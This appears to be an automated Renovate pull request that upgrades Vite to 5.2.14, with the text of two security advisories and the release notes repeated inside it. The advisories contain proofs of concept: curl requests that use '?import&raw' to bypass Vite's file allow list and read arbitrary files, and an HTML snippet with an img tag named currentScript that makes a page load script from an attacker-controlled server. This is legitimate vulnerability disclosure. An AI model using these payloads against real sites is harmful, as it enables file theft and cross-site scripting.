The contents of arbitrary files can be returned to the browser.
Details
@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.
PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@​fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@​fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.
// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)
Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>Vite Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>
Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.
This PR contains the following updates:
5.2.11
->5.2.14
GitHub Vulnerability Alerts
CVE-2024-45811
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fs
denies access to files outside of Vite serving allow list. Adding?import&raw
to the URL bypasses this limitation and returns the file content if it exists.PoC
CVE-2024-45812
Summary
We discovered a DOM Clobbering vulnerability in Vite when building scripts to
cjs
/iife
/umd
output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.Note that, we have identified similar security issues in Webpack: https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
Gadgets found in Vite
We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to
cjs
,iife
, orumd
. In such cases, Vite replaces relative paths starting with__VITE_ASSET__
using the URL retrieved fromdocument.currentScript
.However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScript
lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.PoC
Considering a website that contains the following
main.js
script, the devloper decides to use the Vite to bundle up the program with the following configuration.After running the build command, the developer will get following bundle as the output.
Adding the Vite bundled script,
dist/index-DDmIg9VD.js
, as part of the web page source code, the page could load theextra.js
file from the attacker's domain,attacker.controlled.server
. The attacker only needs to insert animg
tag with thename
attribute set tocurrentScript
. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of
cjs
,iife
, orumd
) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.Patch
Release Notes
vitejs/vite (vite)
### [`v5.2.14`](https://redirect.github.com/vitejs/vite/releases/tag/v5.2.14) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.13...v5.2.14) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.2.14/packages/vite/CHANGELOG.md) for details. ### [`v5.2.13`](https://redirect.github.com/vitejs/vite/releases/tag/v5.2.13) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.12...v5.2.13) Please refer to [CHANGELOG.md](https://redirect.github.com/vitejs/vite/blob/v5.2.13/packages/vite/CHANGELOG.md) for details. ### [`v5.2.12`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small5212-2024-05-28-small) [Compare Source](https://redirect.github.com/vitejs/vite/compare/v5.2.11...v5.2.12) - chore: move to eslint flat config ([#16743](https://redirect.github.com/vitejs/vite/issues/16743)) ([8f16765](https://redirect.github.com/vitejs/vite/commit/8f16765)), closes [#16743](https://redirect.github.com/vitejs/vite/issues/16743) - chore(deps): remove unused deps ([#17329](https://redirect.github.com/vitejs/vite/issues/17329)) ([5a45745](https://redirect.github.com/vitejs/vite/commit/5a45745)), closes [#17329](https://redirect.github.com/vitejs/vite/issues/17329) - chore(deps): update all non-major dependencies ([#16722](https://redirect.github.com/vitejs/vite/issues/16722)) ([b45922a](https://redirect.github.com/vitejs/vite/commit/b45922a)), closes [#16722](https://redirect.github.com/vitejs/vite/issues/16722) - fix: mention `build.rollupOptions.output.manualChunks` instead of `build.rollupOutput.manualChunks` ([89378c0](https://redirect.github.com/vitejs/vite/commit/89378c0)), closes [#16721](https://redirect.github.com/vitejs/vite/issues/16721) - fix(build): make SystemJSWrapRE match lazy ([#16633](https://redirect.github.com/vitejs/vite/issues/16633)) ([6583ad2](https://redirect.github.com/vitejs/vite/commit/6583ad2)), closes [#16633](https://redirect.github.com/vitejs/vite/issues/16633) - fix(css): avoid generating empty JS files when JS files becomes empty but has CSS files imported ([#1](https://redirect.github.com/vitejs/vite/issues/1) ([95fe5a7](https://redirect.github.com/vitejs/vite/commit/95fe5a7)), closes [#16078](https://redirect.github.com/vitejs/vite/issues/16078) - fix(css): handle lightningcss compiled css in Deno ([#17301](https://redirect.github.com/vitejs/vite/issues/17301)) ([8e4e932](https://redirect.github.com/vitejs/vite/commit/8e4e932)), closes [#17301](https://redirect.github.com/vitejs/vite/issues/17301) - fix(css): only use files the current bundle contains ([#16684](https://redirect.github.com/vitejs/vite/issues/16684)) ([15a6ebb](https://redirect.github.com/vitejs/vite/commit/15a6ebb)), closes [#16684](https://redirect.github.com/vitejs/vite/issues/16684) - fix(css): page reload was not happening with .css?raw ([#16455](https://redirect.github.com/vitejs/vite/issues/16455)) ([8041846](https://redirect.github.com/vitejs/vite/commit/8041846)), closes [#16455](https://redirect.github.com/vitejs/vite/issues/16455) - fix(deps): update all non-major dependencies ([#16603](https://redirect.github.com/vitejs/vite/issues/16603)) ([6711553](https://redirect.github.com/vitejs/vite/commit/6711553)), closes [#16603](https://redirect.github.com/vitejs/vite/issues/16603) - fix(deps): update all non-major dependencies ([#16660](https://redirect.github.com/vitejs/vite/issues/16660)) ([bf2f014](https://redirect.github.com/vitejs/vite/commit/bf2f014)), closes [#16660](https://redirect.github.com/vitejs/vite/issues/16660) - fix(deps): update all non-major dependencies ([#17321](https://redirect.github.com/vitejs/vite/issues/17321)) ([4a89766](https://redirect.github.com/vitejs/vite/commit/4a89766)), closes [#17321](https://redirect.github.com/vitejs/vite/issues/17321) - fix(error-logging): rollup errors weren't displaying id and codeframe ([#16540](https://redirect.github.com/vitejs/vite/issues/16540)) ([22dc196](https://redirect.github.com/vitejs/vite/commit/22dc196)), closes [#16540](https://redirect.github.com/vitejs/vite/issues/16540) - fix(hmr): normalize the path info ([#14255](https://redirect.github.com/vitejs/vite/issues/14255)) ([6a085d0](https://redirect.github.com/vitejs/vite/commit/6a085d0)), closes [#14255](https://redirect.github.com/vitejs/vite/issues/14255) - fix(hmr): trigger page reload when calling invalidate on root module ([#16636](https://redirect.github.com/vitejs/vite/issues/16636)) ([2b61cc3](https://redirect.github.com/vitejs/vite/commit/2b61cc3)), closes [#16636](https://redirect.github.com/vitejs/vite/issues/16636) - fix(logger): truncate log over 5000 characters long ([#16581](https://redirect.github.com/vitejs/vite/issues/16581)) ([b0b839a](https://redirect.github.com/vitejs/vite/commit/b0b839a)), closes [#16581](https://redirect.github.com/vitejs/vite/issues/16581) - fix(optimizer): log dependencies added by plugins ([#16729](https://redirect.github.com/vitejs/vite/issues/16729)) ([f0fb987](https://redirect.github.com/vitejs/vite/commit/f0fb987)), closes [#16729](https://redirect.github.com/vitejs/vite/issues/16729) - fix(sourcemap): improve sourcemap compatibility for vue2 ([#16594](https://redirect.github.com/vitejs/vite/issues/16594)) ([913c040](https://redirect.github.com/vitejs/vite/commit/913c040)), closes [#16594](https://redirect.github.com/vitejs/vite/issues/16594) - docs: correct proxy shorthand example ([#15938](https://redirect.github.com/vitejs/vite/issues/15938)) ([abf766e](https://redirect.github.com/vitejs/vite/commit/abf766e)), closes [#15938](https://redirect.github.com/vitejs/vite/issues/15938) - docs: deprecate server.hot ([#16741](https://redirect.github.com/vitejs/vite/issues/16741)) ([e7d38ab](https://redirect.github.com/vitejs/vite/commit/e7d38ab)), closes [#16741](https://redirect.github.com/vitejs/vite/issues/16741)Configuration
📅 Schedule: Branch creation - "before 7am every weekday" in timezone Europe/Berlin, Automerge - At any time (no schedule defined).
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.